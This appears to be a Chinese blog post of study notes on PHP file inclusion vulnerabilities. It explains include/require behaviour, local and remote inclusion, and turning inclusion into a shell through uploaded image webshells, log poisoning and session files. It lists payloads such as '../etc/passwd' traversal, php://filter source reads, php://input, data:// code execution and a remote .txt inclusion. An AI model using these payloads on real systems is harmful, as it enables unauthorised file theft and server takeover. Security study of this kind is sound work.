文件包含笔记

什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个 函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称 为文件包含。
例如:include “conn.php”

PHP中常见包含文件函数
include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进 来,发生错误时之给出一个警告,继续向下执行。
include_once() 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别 (面试必问)
@ inlude :包含的文件不存在,程序会继续执行
@ require:包含文件不存在,程序停止执行 (如果出现语法错误,两个不会继续执行, 如果是找不到这个文件,include继续执行,require,停止执行)

文件包含漏洞危害
• 配合文件上传漏洞GetShell
• 可以执行任意脚本代码
• 网站源码文件以及配置文件泄露
• 远程包含GetShell
• 控制整个网站甚至是服务器

文件包含漏洞的分类
• 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
• 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选 项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方 服务器中的文件,这样就形成了远程文件包含漏洞。

本地包含
文件包含可以用任意后缀名
因为文件包含读取的是要包含文件的源码,所以依然可以执行
文件包含笔记
所以可以结合文件上传,把恶意代码改成jpg后缀名传上去,再用文件包含执行

远程包含
有文件包含漏洞,但是不能上传图片,网站没有上传的功能
可以用远程包含
文件包含笔记phpinfo.txt中写入恶意代码,因为文件包含读取的是要包含文件的源码,所以txt可以执行

本地文件包含利用
• 上传图片马,包含图片马GetShell
• 读取网站源码以及配置文件
• 包含日志文件GetShell

日志包含
如果目标服务器开启日志,并且有文件包含漏洞,可先通过kali或者burp访问网站
文件包含笔记访问后,日志会记录下来我们访问的信息,从而成功把恶意代码写入日志中
文件包含笔记然后通过文件包含漏洞访问日志文件,就会执行我们写入的恶意代码,从而获取shell
文件包含笔记文件包含笔记

如果不能上传文件,也访问不了日志,可以包含sess文件,sess文件中的内容有可能是可控的,把一句话的内容保存到sess中

当文件上传的恶意代码保存的位置与文件包含的位置不在同一个目录下时,直接访问访问不到
文件包含笔记需要到存放恶意代码的目录下执行
文件包含笔记
如果文件包含的代码中给文件加了后缀名
文件包含笔记
%00截断
• /etc/passwd%00
• 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
文件包含笔记

路径长度截断
• /etc/passwd././././././././././././.[…]/././././././././.
• php版本小于5.2.8可以成功,linux需要文件名长于4096, windows需要长于256
文件包含笔记
读服务器本地文件
?page=…/…/…/…/…/…/…/etc/passwd
文件包含笔记

读网站源码文件
index.php?page=php://filter/read=convert.base64- encode/resource=index.php
文件包含笔记再通过base64转码
伪协议:

  1. 直接包含木马文件,可以是图片,txt,压缩包…

  2. ?page=php://input 接收post请求 需要开启 仅需要开启 allow_url_include
    文件包含笔记

  3. ?page=http://172.18.11.66/0831/1.txt 需要开启 allow_url_fopen,allow_url_include (远程包含)

  4. ?page=php://filter/read=convert.base64- encode/resource=main.php (读取文件源码)

  5. ?page=data://text/plain,<?php phpinfo();?> 需要开启allow_url_fopen,allow_url_include
    文件包含笔记

上一篇:PHP的学习(3)


下一篇:Webpack 编译后代码解读 模块原理 异步加载原理